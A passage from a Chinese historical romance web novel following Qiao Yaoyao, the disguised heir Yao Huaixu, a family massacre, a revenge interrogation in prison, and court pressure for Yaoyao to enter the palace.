乔杳杳递给他另一个,小小红绳拿在手里,小巧精致,他认真给她绑上,慢条斯理,绑得仔细。
两人看着手上的红绳,莫名其妙笑起来。
“姐姐等等,还有一样东西。”说完她跑跳着出去,屋内独留姚淮序一人,房间里熏香袅袅,是她惯用的,可与她身上的味道又不大一样。
明显的女子闺阁装扮,映入眼帘的除却粉色就是娇俏的嫩黄,偶有浅青色纱帐点缀铺饰,之前来都没好好瞧过,如今也算是第一遭。
换了心境自是不一样,他恨不得将所有都映在脑子里,等来日她去了锦州也给她布置这么一个娇俏、满是少女气息的屋子。
乔杳杳端一碗面推门,她迅速将碗放下那手捏耳朵,想起来一直没兑现的承诺,“吃碗面我给你打耳洞吧。”
姚淮序直直望向乔杳杳,乔杳杳笑道,“长寿面,吃了就能长命百岁,岁岁平安。”
“问我怎么知道吗?”
“我很早很早之前就知道啦!”
乔万屹刚到北郡那会儿战乱刚平息,山匪猖獗,连带着军队捣了几个土匪窝子后叫人家怀恨在心,盯上了乔杳杳。
这话其实不准确,盯上的其实是乔青松,但那会儿乔家里外忙不过来,两个孩子又小,一不小心没看住让山匪绑走了乔杳杳,连带着沉月。
那年冬天雪很大,能盖住乔杳杳的膝盖,她记得很清楚,山匪带着她和沉月一路东逃,本来想杀了她们两个但是临了终究是没下去手,为什么乔杳杳也不知道,最后山匪在北郡边界把她俩扔下。
数九寒天,沉月人小可已经知道护着乔杳杳,东边都是林子,四周是光秃秃的书,两个小孩子分不清楚方向,漫天的雪,哪里都是白色。
乔杳杳撑不住先昏了过去,也不知道沉月哪里来的力气,竟然真叫她把乔杳杳拖出林子遇上了苏庄主,但沉月也长了浑身的冻疮,至此每逢春消遇冬又现,直到十四岁以后才彻底好起来。
苏庄主不知两人身份,只觉得两个姑娘可怜带会庄子,又是泡澡又是熬汤,乔杳杳昏睡一直不醒,连大夫都说恐怕是活不了了,苏庄主叹一口气,感慨世事无常。
事情出现转机是在隔日下午,阳光明媚,小小的姚淮序去看睡不醒的小人,苏庄主夫妇没有孩子,苏夫人喜欢女孩儿,时常把姚淮序打扮成姑娘,姚淮序并不反感,一来是舅母高兴,二来他也小没什么性别概念。就这么一来二去庄子上都承认庄主有个女儿。
小小的姚淮序看着床上小小的人一动不动,伸手去戳她脸,软软的,滚烫滚烫的,他知道这是发热,以前他发热母亲或是舅母总会将他搂在怀里,睡一觉就好了。
他脱掉靴子爬上床,学大人模样将小人搂在怀里,午后又下了雪,屋内地龙烧得热乎,同盖一张寝被,乔杳杳出了一身汗,再睁眼时烧就完全退了下去。
苏庄主摸着姚淮序脑袋说,“好阿序,你可是立了一件大功!”
姚淮序就笑,觉得自己真是了不起。
三个小孩儿经常在一起玩儿,更多时候是姚淮序和乔杳杳,因为沉月长冻疮不能受寒,也不能过热,不然痒得厉害。
31. 费承风,我带你,杀回去
姚淮序看着眼前的清汤面,只有两根面条,粗粗的,一看就是大小姐亲自搓的,粗一段细一段,极有讲究的有个煎蛋飘着两片青菜叶和些许葱花。
筷子拿在手里,仿佛千斤重,看着眼前极力塑造实则面相偏丑的珍馐。真是,搞得他也想要掉眼泪了。
怎么会有这么柔软的人?乔元娘怎么这么温柔?原来不止他一个人,将那段微不足道的往事记了许久。
“不要咬断,要一直吃到尾呀!”
“其实有准备酒菜,该一桌人坐在一起给姐姐庆生。我早就吩咐厨房备下酒菜但是今天事情多打乱了计划,这个时辰只有面了。”
“姐姐你不要嫌弃。”
说着说着她就哭起来,像犯了错的小孩儿,今天事情多大家都将过生日这件事情抛之脑后,乔杳杳不知道怎么开口,眼泪就像断了线的风筝,怎么也止不住。
他无奈地笑,刚擦干净的眼泪又涌出来,他忍不住想抱一抱她,这么想他也就这么做了,少女在他怀里一抖一抖,将肩头洇湿。
要知道一个月前两人闹翻了脸,任凭姚淮序怎么也没想到姑娘还愿意信他,如今还能抱在一起,有了实感更觉得百般不易。
她总是嘴上不饶人,咋咋呼呼像个刺猬,但姚淮序没见过比她还好哄、总怀赤子之心的人。
哭过以后乔杳杳催促他许愿,吃面。给他说祝福词,祝愿苏清序欢喜胜意,往后岁岁平安。
姚淮序慢吞吞吸溜着,热气腾腾,时间都被放慢,这一刻弥足珍贵。
吃掉一根以后姚淮序将另一根夹起来送到乔杳杳嘴边,她也不推却,将嘴巴塞得满满,慢慢咀嚼,忙叨一天她也没吃东西,到现在就吃了早上一顿。
姚淮序耐心等她嚼完又夹起煎蛋,送第二口时乔杳杳推给他,他将剩下的吃完,两人谁也不嫌弃谁。
月朗星疏,两人坐在梳妆镜前,乔杳杳红着眼,手里拿针,不确定问道,
“我真扎了?”
姚淮序笑着点头,垂眸静等。
针到耳边临了乔杳杳又说,“明日我给你找嬷嬷扎吧。”
姚淮序没给姑娘反应时间,拉着姑娘手对镜子直接穿透,血珠涌出,乔杳杳慌忙拿帕子擦,又要掉眼泪,嘴上嗔怪,
“你这是干嘛?啊啊啊流血了,早知道不给你扎了。”
姚淮序不在意,乔杳杳说什么也不扎另一个了。他宠溺无奈瞧眼前的人,真是那她没办法,胆小鬼,明明痛的是他,他都不怕她却不行。
最后真的只扎了一个耳洞,乔杳杳说往后可以一边带耳钩一边带耳夹,姚淮序由着她去。不是不让储君扎耳洞,只是瞧着不大有威严,不过姚淮序不在乎这个,哄姑娘乐,那就由着她去吧。
现下面对元娘他有个更为头疼的问题,她喜欢的是苏清序,是个女子,而苏清序实则是个男人,如果有一天被发现,乔杳杳还喜欢他吗?
姚淮序深思,乔杳杳拿手在他眼前一晃,“姐姐,花儿你收起来了吗?”
他点头。
“明天我们去埋掉吧。”放在盒子里同样会烂掉。
他往返书案,拿出沾有新鲜笔墨的宣纸给她看,
“夹在书里了,不烂。”
“这倒也是个好主意。”
“时候也不早了,早些休息吧。”
姚淮序点头,人却不动。乔杳杳脱掉外裳坐在床上扭头一看人还在屋子里,脱靴爬进床里侧,
“过来睡吗?姐姐。”
姚淮序听到自己想听的毫不客气脱靴上床,把两侧帷幕放下,刚沾床又起身浸透帕子拧干净水敷在乔杳杳眼睛上。
乔杳杳扶着帕子听见悉悉索索脱衣服的声音,
“姐姐,你会一直留在北郡吗?”
身侧人没反应。
乔杳杳换了个问法,“事情了了你会回北郡的吧?”
姚淮序捏她手指做回应。会的,我会来娶你的。
“那我就在乔府等你,说不定到时候我的庄子也能回来。”
“我很喜欢那个庄子,喜欢院子里的梨树,风一吹都是花香;喜欢院中的那个摇椅,桃阁也有,可庄子小院儿的那个一望就能看到矮墙外面的青山,可见初阳可见落日;那时候再种一排花儿……”
“你如果在郡城内没找到我,那我一定是在庄子上。”
“你还记得去庄子上的路吗?”
“我会呆在北郡等你回来的!”
分别早有预兆,只是说在北郡等他的人最后终究不由己,远在盛京。
……
翌日一早,程伯匆匆忙带人出门,于伯到桃阁报信。早膳刚上,几样精致小菜,两碗八宝粥,沉月手里也端着碟炸饺。
她脖子不舒服,像什么打了一下,酸痛酸痛的,一直在揉,随意问道,“沉月,姐姐去哪儿了?一大早就没了人影。”
“小姐。”于伯隔门弯腰,犹豫再三道,“小姐,费老爷昨儿夜里去世了。”
乔杳杳不可置信问道,“好好地人怎么说没就没?父亲呢?回来了吗?”
“半夜一场大火,什么都没了。老爷和公子昨夜就没回来。”
“那母亲呢?”她慌忙起身,沉月伸手去扶。
“夫人也刚知道。”
她怔然片刻,面露着急刚要开口就听见李嬷嬷踉跄举着张折起来的纸下意识拔高音量焦急道,“小姐,小姐!这纸……”没等她迈进门槛乔杳杳已经拿在手里,气汹汹道,
“这么着急赶去投胎好了!”
纸张悠悠飘落在地,寥寥几字,豪迈有力,尽显张狂,并不潦草,甚至很漂亮。所有收敛起来的锋芒全部展露,劲道十足。
其野心昭然若揭。
她牵了马厩的好马扬鞭朝费府赶去,沉月站在府前担忧道,
“小姐她……”
李嬷嬷忍不住抹眼泪责怪道,“苏小姐也是,一声不吭人就走了。”
于伯牵马想追却被乔夫人拦住,伸手接过他手里的宣纸,重新折起来放进袖兜,望着乔杳杳的背影,叹气道,“金麟岂是池中物。可怜了我家元娘,傻傻分不清楚。”
“于伯,把门关好,今儿个不见外客。”
“记住,我身体不舒服,谁也不见。”
“是。”
姚淮序换回男装,高束马尾,身姿高挑,红绳掩在袖口若有若无,一双黑金鎏云靴包裹住小腿,笔直流畅,再往上是墨色衣袍,暗纹腰封,玄色线条自上而下,勾勒出精致衣领。
他步履平稳,一步一台阶,登上城墙看到那人背影。
姚淮序问那人,“这里的风比比别处好吹?”
一晚上的厮杀让费承风嗓子有些哑,“身上都是味儿,过来散
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散。”
他脑子里还是昨天晚上院中乌压压一片人,母亲、姐姐妹妹们的呼喊,哥哥们同他一起作战却接二连三倒下,杀到最后他身边只有姚淮序和桃肆,两个人一脸的血,院子里一地的人。
费渡倒在他面前的时候,那双眼睛包含太多内容,不舍,释然,期待……什么都有,唯独没有害怕。
迎面而来的风把他的头发吹起,在空中飞扬。模样狼狈,不修边幅,脸上血迹斑斑,与往日儒雅随和的模样大相径庭。
多了几分,孤凉肃然的味道。
“我还以为你要跳下去,一了百了。”
“殿下这么瞧不起我?”他是笑着的,可眼里并无半分笑意。
清清嗓子他继续道,“除了没查到那信是谁写的,剩下王爷造反私通盛州的证据如数都在这里,父亲让我转交于你。”
旁边有个胡桃木匣子,雕花有些粗糙,可见所雕之人并不熟练。
“嘉德三十八年是我父亲和太子殿下发现王爷也就是当时的三皇子心术不正和盛州有来往,太子殿下顾念亲情不忍禀告皇上重处,父亲却以为三皇子忏悔尽数虚假,两人争执,有了后来的辞官离都。
但他们二人同样留有后手,那就是让我父亲定居北郡隐姓埋名私下调查。
他曾时常跟我说,太子殿下是他的挚友,未来最好的君主,他敬他、忠他,月圆之时也总想起曾经和太子殿下对月共酌,酣畅作诗的情景。”
费渡最喜欢的还是锦州的都城,还是那壶屠苏酒……
“现在他如愿了。”
有道声音迎着风响起,坚定到风都难以裹挟远去,“费承风,我们杀回去。”
始终没有转身保留着最后一份体面的费承风在此刻怔怔然回首,眼中全是错愕。
姚淮序重复一遍,“我说,费承风,我们杀回去。”
北郡城内的早市很热闹,乔杳杳把马托给一家店铺只身朝费府跑,耳边闹市喧嚣,衣诀翩翩,隐入人群。
乔万屹和乔青松未曾合眼,带着几十名衙役、仵作看着满园尸体和烧焦的房梁,久久无言。
沈祀安坐在醉仙楼品茗,香炉飘出缕缕烟气缭绕、缠拢,抓来夏天的躁意。
初阳投射在城墙上,姚淮序认真道,“让那人好好瞧瞧数十年经营如何毁之一旦,我们又是如何亲手斩断他的帝王路。”
费承风的嘴唇哆嗦,几乎说不出来一句完整的话,冰封的信仰重新破土而出,点燃全身血液,让人沸腾,他耳边全是那句“我们杀回去。”
早市叫卖吆喝声交织,乔杳杳憋着一口气,乔青松和乔万屹翻找尸体上的线索,沈祀安把茶杯倒扣在桌。
费承风结结巴巴,“殿下,我……”
姚淮序扬唇眉毛上挑,肆意张扬,“怕了?这才哪儿到哪儿?我要让他血债血偿,永不入轮回!”
“费承风,我带你杀回去!”
他朝他伸出手,语气坚定,激昂人心。锦州的风跨过群山然后吹进费承风的心里,他闻到了独属于锦州都城的蔷薇花香,这个味道和十年前一模一样。
费承风看到桃肆胸前环抱两剑立在不远处,初阳终于照在姚淮序的身上,他握住他的手任由他拉自己起来。
城墙对立的青山渐渐褪去山雾,露出翠青色的山头。
费承风,我带你,杀回去。
32. 困住的又不知是谁的几世几代
不远处就是费府,牌匾仍旧挂着,门口却围了一群人,水泄不通,上气不接下气、满头大汗的乔杳杳正欲往前却被人拦住,那人说他是沈祀安的人,他叫車井。
乔杳杳偏头看茶摊处那人,浑身发凉。
沈祀安笑吟吟请人落座,“乔三小姐,别来无恙。”他给她添茶,递给她一条手帕,“乔三小姐一路跑来辛苦了,擦擦汗。”
乔杳杳没动,将茶杯推回,“烦请小侯爷见谅,我还有事,就先走了。”
“李夫人,不……是吴夫人……的事?”
已经起身的乔杳杳僵在原地,她一点都不爱跟沈祀安接触,对方的心机过于深沉,眼神过于直白,仿佛有什么漩涡下一秒就要将人吸进去,被算计了也不知。
“陛下让我带一道圣旨来北郡,不料昨儿碰上祭祀游想着今日拜访,结果今儿……”
他意有所指。“乔大人事忙,不如乔三小姐和我聊聊?”
乔杳杳弯身,“小女子不过闺阁之女,没有什么大见识,怕耽误了小侯爷的事,小侯爷有什么话还是和我父亲说吧。”
说着她就走,車井抬臂拦住。
乔万屹声音从車井背后徐徐响起,“下官不知小侯爷亲临,有失远迎,家中小女顽劣冲撞了侯爷还请侯爷见谅。元娘,还不快过来!”
乔万屹并未行官礼,沈祀安起身,依旧是笑吟吟那副模样,“乔大人日理万机,自当理解。”
車井的手还举着。
“車井,不可放肆。”
乔杳杳三步并做两步躲在自家父亲身后,乔青松弯腰行礼挡住沈祀安的视线。
“既如此,我便安排人收拾房屋让小侯爷在官衙住下。”
“有劳乔大人,但现下有另一件要紧事。”
北郡官衙门大开,衙役官员跪了一地,为首的是乔万屹,其侧是方书来和乔青松,乔青松旁是乔杳杳。
沈祀安打开圣旨,嗓音温润宣读圣旨,意思大概就是搜查乔家田庄一事有沈祀安接手后续,封乔万屹“大将军”封号,举家入京。
乔万屹双手接过,沈祀安补充道,“本应立刻动身,但陛下给了我另外一道旨意叫我见机行事,我看北郡如今出了费府这么大一个案件,思酌过后决定协助将军捉拿凶手归案,届时再动身不知大将军意下如何?”
“全凭小侯爷做主。”
方书来见到沈祀安如同猫见到了老鼠,恨不得退避三舍,圣旨宣读过后第一个溜走,乔杳杳心绪不宁,扯自家哥哥衣袖。
“哥哥,小侯爷他知道李夫人。”
乔青松迟疑,示意她安心,独自思索起来。
“七哥怎么样?”
乔青松面色不好,“没找到。”
“什么意思?”
“院子里横七竖八躺着几句焦尸,其中有一个是费老爷,没有承风”
“呸呸呸,七哥必能逢凶化吉。”说完乔杳杳就感觉到有一束目光正在注视着自己,敛了声音低眉顺眼往乔青松身边挪动,乔万屹不动声色挡住自己的一双儿女。
沈祀安看破不说破,拱手先行。
事情撞在一起,乔杳杳先询问昨晚那场大火又告诉自己父亲姚淮序离开的事情,乔万屹眉头紧锁,良久不语。
乔杳杳和乔青松对视一眼,各有心思,乔万屹封大将军的消息像插了翅膀一样飞遍北郡,人人都想上门恭贺道喜,只见朱门紧闭,吃了闭门羹。
乔家,没有一个人为此高兴。
锦州都城石壁上的灯光忽明忽暗,时不时迸发出几下“噼啪”声响,每个牢房角落里铺着薄薄一层草席,偶有细碎的声音匆匆响起又湮灭于黑暗,地板阴凉,四周潮湿阴冷。头顶窗户的月光透进来却看不见月亮。
并不慌乱的脚步声渐渐靠近,估摸约有数十人,狱卒搬来一张木椅,点亮石壁两侧灯芯,姚在溪眯起双眼费力将头偏向一侧,素日高贵的王爷如今被吊挂在锁链上,就算这里的狱卒没有敢冷嘲热讽他的,可让他这副模样示众没有半分体面,对他的自尊来说就是莫大的折辱。
姚淮序摆摆手让身后人都退下,牢房里只剩下他和费承风还有姚在溪。
“皇叔,还好吗?”姚淮序拿起一旁的烙铁翻看红灼的铁面,继而放下又拿起一旁的利刃,空中随意划弄,手感甚好,于是将刀尖对准被锁链绑住的人,毫不犹豫,刺进左肩。
姚在溪闷哼一声,额头冷汗直冒,嘴间溢出细微呻吟,顷刻狂咳仿佛要将肺都咳出来,浑身抑不住的抖,吐一口血水出来才算结束,声音虚弱到极致,“好侄儿,这是谁?咳咳......哈哈哈哈哈哈”
姚淮序拍拍费承风的肩膀,费承风双拳紧握,双目通红,手还有些颤抖,将刀拔出下一刻刺入右肩。
姚在溪浑身脱力,想要蜷缩在一起可锁链绑住他的双手双脚根本动弹不得,最后只能将头堪堪垂下,不复往日矜贵。
费承风气息缓缓平复,随后将刀用力拔出,热血喷洒在他的脸上,一双浅茶瞳色冰冷,笑意不达眼底,“王爷这么快就忘了?那费渡你还记得?”
姚在溪咳两声又笑,维持着最后可怜到几乎看不见的体面,“费渡啊,当然记得......咳咳......你是费家的?”他微蹙眉,“不都死绝了吗?原来还有漏网之鱼,我说我......”
姚淮序抄起手边的短刀飞刺入姚在溪的右腿,不带任何情绪,不喜不悲道,“皇叔好手笔,北郡都能插进去人。”
“哈哈哈哈哈,我就知道他们二人,咳咳咳.......但凡我是太子......”姚淮序将另一枚短刀飞刺入姚在溪右臂,脏兮兮的里衣染上血色,血腥味在牢房内弥漫开来,并不明显,在这牢房早就不知道流干过多少人的血,现在这点又算得了什么?
“姚在溪,凭你?”简简单单一句嘲笑却让姚在溪脑袋里最后一根弦彻底断掉,撕破温和假面,状如疯癫,“本就该是我的!他有什么好?!所有人都只能看见他,我这些年的努力又算得了什么!不过是假惺惺的伪善!都把你们骗了去!”
血汩汩流得更欢,他拼尽全力也只能让锁链轻轻晃响,费承风冷着脸在他身后将锁链用力往后扯,姚在溪又哭又笑,“凭什么?!”
姚淮序眼神冷冰冰道,“凭他仁德,不滥杀无辜;凭他爱民,受人敬戴;凭他慈悲,放过了你。姚在溪,你有没有心?”一字一句说到最后他眼眶也泛红,姚在溪低沉沉地笑,“愚善,他又怪得了谁?活该他死......”
“姚在溪!”费承风揪住眼前人的衣领,双目赤红,姚淮序闭目深吸一口气,“那封信是和谁通信?嘉德三十八年乔沈两家又是什么事?”
“哈哈哈哈......费渡没查出来吗?”他偏向费承风,似笑非笑,“费老七,说起来你真是有些本事,我派去的都是顶尖杀手,竟也让你逃了出来。”他说一会儿就要喘息片刻,断断续续,异常费力,“要不你把我救出去,日后许你荣华富贵。”
他笑费承风也笑,“王爷做什么春秋大梦?”
姚淮序蹙眉,并不催促。姚在溪笑够了才道,“好侄儿,你和乔家女儿相处的可还愉快?”
姚淮序快走两步,将他右臂上的短刀拔下刺入右肩,眉目间的暴戾隐隐而现,“顾左而言他,皇叔,你还不醒悟吗?!”
姚在溪阴恻恻笑了会儿,看着和自己三分像的姚淮序,他俩年龄相差不大,少年时他也总带着他玩,小矮个儿跟在自己屁股后面皇叔皇叔的叫,忽而又想起宫殿里他父亲总是夸赞兄长,轮到自己时便摇摇头一脸失望。他与他们的情谊总是如此浅薄,浅薄到如此可怜,姚淮序下手的时候并无半分手软,那人从头到尾也不愿意露面。
“我要见他。”
姚淮序和费承风对视一眼,费承风道,“痴心妄想。”
姚在溪笑着笑着簌簌滚落几颗泪珠,“你们想知道的,我一个也不会说。”
姚淮序隐约猜到什么,“君子死节......”“我从来都不是君子!哈哈哈哈哈哈哈”眼前人已经癫狂,姚淮序默然看了片刻,将短刀插进他腹部,拍拍费承风的肩头,自己走了出去。
北郡和锦州都城的月亮没什么区别,只是晚风燥热,浑身都黏黏糊糊,衣裳上沾的那些血腥味怎么也冲不散,他忽而想起了梨花落满院子的味道,还有桃花混着墨的味道。
桃肆递给他一盏四角宫灯,注视着他的背影,看着那点点光亮逐渐变弱直至消失,不由得叹一口气,随着燥热的风化在空气里。
姚淮序将宫灯放在皇陵入口处,交由守卫,独自进去。里面很凉快,与外面截然相反,那扇石门仿佛将一切浑浊都挡在外面,里面只有干净纯粹的灵魂,让逝者安息,让生人喘一口气。
嘉德三十八年,太子殿下和费渡发现盛州与草原打仗这事和姚在溪有关系,当时姚在溪年仅十六,人不大野心倒不小,说到底年幼终究有不足的地方,让费渡和太子殿下发现姚在溪和草原的私信。他怂恿、鼓动草原起兵攻打盛州,甚至承诺他会暗地给予钱财支持,太子殿下读完信后大惊,不敢想素日乖巧的皇弟竟然有这等歹毒心思,他不敢相信这是姚在溪做出来的事情,若是让父亲知道,姚在溪只能是死路一条,所以他存了别的心思,他还想信他一把,相信他有什么难言之隐,他想
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让他从这条必死之路上脱离,毕竟那是他看着长大的皇弟,也曾在年关和自己儿子一同向他讨要红封。
当费渡和太子殿下拿出信件质问姚在溪时,姚在溪认错态度诚恳,哭着和太子殿下诉苦,说自己不过一时糊涂,恼恨父亲眼里看不见自己,说自己会改邪归正。太子殿下相信了,费渡劝过,他说姚在溪心思深沉非良善之辈,但太子殿下顾念手足情谊,终究按捺下来,不过他们也怕有朝一日突生变故,于是面上费渡和太子殿下意见不合,实则费渡搬离锦州暗中搜集证据。
说实话,要是姚在溪死了就没有这么多事情,但太子殿下不忍,费渡说不同意不同意实则又尽做些口是心非的事情。再后来姚在溪羽翼渐丰,做事收敛、隐秘了许多,有心防着他们,费渡这些年零零散散都是些没有实用的东西,三年前,姚在溪手下在北郡露出马脚,费渡心里惶惶,隐约觉得有大事发生。这盘棋太子殿下同他一起,虽然埋线却都不愿有变动的一日,但那天下了北郡有史以来最大的一场暴雨,费渡花两年时间调查,他们担心的事情终于发生了。可还没来得及互通消息,太子遇害,太孙逝世的消息接踵而至,费渡的心寒到了冰底......
姚淮序盘膝坐在太子、太子妃碑前,伸手将碑前的酒拆开,斟满三个酒杯,平日骄傲、散漫的少年褪去所有伪装,只是一个失去父母的无辜孩童。
“这是今年的新酒,你们尝一尝是不是要比往年辛辣?我总觉得有些发苦。”
“姚......皇叔的事情你们会怪我吗?不讲人情,不通情谊。”
“山庄那场大火真是......”说着说着就笑,喉咙滚动,声音哽咽起来,“还以为就交代在那里了,其实......也行。”手撑在地上,单腿支起,换了个姿势。
“你们还记得费承风吗?就是那个小时候老爱掉鼻涕手里总拿着块儿帕子那个,现在个......假模假样的温雅公子了。”他自顾自笑了会儿,慢慢停下来,周遭重新恢复寂静,连针掉落的声音都能听到,“我还认识了个有意思的女娘,人人都说她娇蛮不讲道理其实就是个狐假虎威的......鹦鹉,不知道你们还记不记得皇爷爷养的那只鹦鹉,狐假虎威、装傻充愣的有意思极了,和别的都不一样。”
他絮絮叨叨说了很久,天光大亮时才从里面走出来,瞧不出半点异样。锦州多梅雨,费承风和桃肆各举一把竹青伞站在陵外,周身已经换过衣裳,
“死了?”费承风神色如常,淡淡地“嗯”了一声。
他们都很平淡,就像每日都要经历这些已经习惯了一样,并没有大仇得报地快感,望着这梅雨都是说不尽的思绪。
“接下来呢?还走吗?”费承风眼里带笑,可这笑里尽是悲凉,他开玩笑地问,“怎么?你要留我?”
姚淮序忽略掉他的打趣,眺望远方,轻抬下巴,“嗯,往后的路长,一个人总是太难熬了。”
费承风看向他,片刻随着他的目光也望向北郡,“是啊,一个人太难熬了。我父亲……”
“我和你一起接他回来,葬在北郡,荣归故里。”
“嗯……你的说话算数……”
沉默一会儿费承风换了个话题问道,“元娘知道吗?”
“知道什么?”费承风这下整个身子都转向他,意思不言而喻,姚淮序不自在,手背在身后指尖来回搓捻,耳根子泛红。
费承风了然,忽而又想起什么,“元娘性子单纯,看着跋扈其实就是个纸老虎,你没做什么逾矩的事情吧。”说完他又觉得不大可能,眼前人不说克制守礼吧但太子殿下教出来的也差不到哪里去,总归不是个浪徒子。谁知他刚问完这句姚淮序就没了声音,整个人变得奇怪,
桃肆低着头想起自家殿下把人搂在怀里,突然面红耳赤跟着也奇怪起来。费承风不可思议,半响说不出话来,气极反笑,“你做了什么?”
“也没什么,就抱了一下。”
他耳朵都快要熟透了,可谁知费承风反而松一口气,“那没事,元娘只当你也是个姑娘家,日后不复相见也不是什么大事,只要殿下别出去乱说不影响元娘找个好人家。”
姚淮序没注意到他眼里的狡黠,语气不善“她想嫁谁?沈祀安吗?”
“总归不是殿下。”姚淮序和他相视一笑,眉目间的张扬肆意不再遮掩,用惯常的散漫矜贵语气笃定道,“有我在,谁敢娶她?”
三人撑伞走在雨里,宫墙比乔杳杳的院墙高出不知几丈,金碧辉煌的宫殿藏在红色宫墙里,里面的人看不见外面风光,外面的人看不见里面的辉煌。
困住的不知又是谁的几世几代。
34. 唯愿河清海晏,唯愿盛世安康
乔杳杳不动声色避开,正巧乔青松上楼,她如释重负一溜烟躲在乔青松旁边,低眉顺眼,异常乖巧,姚淮序将右手背在身后指尖来回搓捻。
神色如常,“天成兄好久不见,查出来什么了?”
乔青松一脸着急,见到乔杳杳没事后才将心放回肚子里,挺直腰杆与他平视,不避不让,也不行礼,避而不谈案子反而道“小侯爷是陛下面前的红人,可乔家世代也不是攀龙附凤才做到这个份上。”
乔杳杳心下大惊,余光看见兄长坦然,跟着也镇定下来。
沈祀安从容,同样坦然,“你怕不是误会了。”
他弯腰作揖,“希望如此,真是我哪里做的不对,还请小侯爷见谅,舍妹顽劣性子娇纵,也请小侯爷日后多见谅避着些。”乔青松的底气五成来源于乔家,五成来源于乔万屹,还有额外两成,源自兄长对妹妹的疼爱。
说完乔青松就让乔杳杳先走,車井却在此刻拦住楼梯,乔青松不悦,问沈祀安这是何意,沈祀安笑吟吟重新落座,拿出一个新杯子倒上热茶。品过一口才道,“乔小姐刚才和我在聊李夫人的事,再说明白点就是吴管事的事,庄子上的事。”
“庄子上是干净的,吴管事已经认罪,只要将李夫人也捉拿归案便可了解。”乔杳杳反驳道。
沈祀安勾唇,眉毛上挑,手捏着杯壁转来转去,视线从水面移向乔杳杳,她今日一身霞粉色,发带虚虚垂下,少女娇俏尽显,眉目间生动可爱。
“真的吗?”
乔青松上前一步挡住沈祀安直白的目光,答道,“自然。”
“想必今日乔公子和大将军也查出来费府的事和锦州皇室有关吧。这要是传回盛京,又要引起一阵喧哗。大将军尽忠职守,在他管理下的北郡怎么会有锦州皇室踪迹?”
“两位要坐下来喝喝茶吗?”沈祀安胸有成竹,挥手让車井退下,把杯底的茶末倒进一旁小花盆里,重新倒上热水。
“乔三小姐和乔二公子不如和我坦诚布公聊一聊,说不定我们能是很好的盟友。”
乔杳杳警惕,“聊什么?”
他轻笑一声,“自然是聊一聊盛京。”
乔青松拿捏不好这位小侯爷的心思,虽然他们两人同岁,但沈祀安在盛京摸爬滚打过一圈,常年伴君侧,论心机深沉他终究是稍逊一筹。
沈祀安看破不说破,想要合作就要取信于人,要拿了把柄递给人家,还要奉上好处,同时握住对方软肋,有个共同目标和不得不的理由最好。“吴管事是我安插进庄子上的,李夫人也是我的人。”
乔青松怒气高涨,乔杳杳连忙拉住他示意自己没事。
沈祀安却这会儿起身,认认真真给乔杳杳赔礼道歉,他行的是盛京宫里的礼数,话也诚恳,挑不出半点毛病。
“我这里有一样东西,还请乔公子转交大将军。”陈旧的信封和一块布帛递给乔青松,乔青松没好气道,
“自然,我们兄妹两人还有事,恕不奉陪。”茶也没喝拉着乔杳杳就走,行至拐角处乔杳杳忽然停下,
“我答应你,但有两个条件,一是我阿姐要留在北郡,二便是到了盛京小侯爷还要多照料乔家,毕竟陛下的心思小侯爷……”
“元娘!”
沈祀安微微点头,含笑看她,“乔大小姐自然要留在郡城,这件事我早就和陛下禀告过,另外我答应三小姐,护乔家在盛京一路顺遂……不知乔三小姐可知道……定亲的女子不用入宫。”
“你休想!”乔青松没忍住直接揍了沈祀安,沈祀安没躲堪堪受了惊吓一拳才还手,乔杳杳眼眶泛红,却不阻止。待沈祀安快要将拳头打在乔青松身上时才喊道,
“都住手!”
沈祀安下意识停手猝不及防又挨了一拳,他失笑,低偏着的头准确无误抬起,和乔杳杳对视,倒也没生气,为着她这点小心思还觉得有些好笑。
乔青松骑马来的,回去的时候两人牵马并行。
“沉月呢?”
“回去了。”
“哥哥”
“别叫我哥哥”,乔青松站定,“嬉皮笑脸的笑什么笑,你答应他什么?我有没有说过……”
“若是我入宫当宫中女官换阿姐驻留北郡本就不亏,盛京是个龙潭虎穴,他又是近臣说的上话哥哥又不是不知。”
“谁说阿姐要入京了?你以为真是你换阿姐驻留北郡吗?用的着你自作主张?!你知不知道自己在干什么?”
“入了别人圈套都不知道!阿姐身负官职怎么可能被召回盛京!”
乔杳杳用手摸马的鬓毛,一下又一下给它捋顺,“父亲不也是郡守吗?还不是要去盛京,说了举家,乔家哪个能漏掉?”
是龙潭还是虎穴,哪个说的清楚,一去不回的大有人在。
乔青松说不上来话,面上不耐,有些事情只有他和父亲知道,他让乔杳杳上马,轻拍马屁股让马把她带回家,在后面还道,
“阿姐已经到家了,回去你就等着挨骂吧!”
乔杳杳回头去看,他站在熙熙攘攘的人群中与他对望,眉目间的烦躁不言而喻,明明生动的表情、动作还在眼前,却恍若隔世。她牵着马绳轻夹马腹,马儿快步走起来,日落西山,就要黑天了。
……
门房尽职尽责结果马绳牵去后院儿,沉月担忧道,“将军、夫人还有大小姐都在正堂,就等公子和小姐了。”
乔杳杳接过沉月手里的帕子擦手,乔青松淡淡嗯了一声,随后两人一前一后穿过四角檐廊,乔杳杳顺手折下朵月季拿在手里。程伯和于伯在院中弯腰拘礼。
进了正堂乔万屹夫妇坐在正中,乔亭雪在左下第一个椅子处,两人行礼一一叫过后乔青松将东西递给乔万屹,乔杳杳坐在姐姐真旁把花递给她。
“好香的月季”她凑近又闻了闻,“颜色也好看,开的正艳丽。”
乔青松哼道,“阿姐还不了解元娘吗?”
乔杳杳接话道,“元娘最喜欢阿姐要把最好看的花儿都摘给阿姐。”她眉眼弯弯,不问为什么阿姐连夜赶回。乔夫人叹息一口气道,“今儿是有话和你们三兄妹讲。”
乔万屹还在看布帛和就书信,眉头越来越紧。
“我和你们父亲商量了若云的婚事,城南张家是个不错的选择。家中虽然清贫但……”
乔亭雪垂头并无表示,乔青松拿起一旁的茶盏快速道,“不用了母亲。”
乔夫人不解,看向乔杳杳,本来就紧张低沉的气氛更加浓郁,
乔杳杳僵笑着道,“阿姐可以继续留在北郡也不用嫁人。”
乔万屹闻言抬头,除了乔青松以外其他人都摸不着头脑,乔夫人心脏跳停一瞬,“你做了什么?”
“我和你父亲都没有其他更好的办法,你哪里来的?”说完她偏头看另一个知情人,全是疑惑。
“元娘答应沈祀安入宫。”
乔亭雪没听清,“你再说一遍?”
“元娘答应……”
乔夫人率先发作,“你以为盛京和北郡一样吗?!宫里是你想去就去的?!就你的臭脾气你心里没点数吗!”她站起身就要找鸡毛掸子。
